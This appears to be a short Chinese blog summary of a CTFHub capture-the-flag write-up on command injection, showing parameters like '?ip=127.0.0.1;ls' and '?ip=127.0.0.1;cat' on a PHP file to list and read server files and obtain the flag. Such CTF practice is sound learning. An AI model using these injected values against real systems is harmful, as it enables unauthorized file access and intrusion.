摘要： https://www.ctfhub.com/#/skilltree 命令注入 命令注入，查看当前文件夹结构 ?ip=127.0.0.1;ls 查看php文件内容 ?ip=127.0.0.1;cat 11001571914029.php 提交flag，成功破解 过滤cat 命令注入，查看当前文件夹结 阅读全文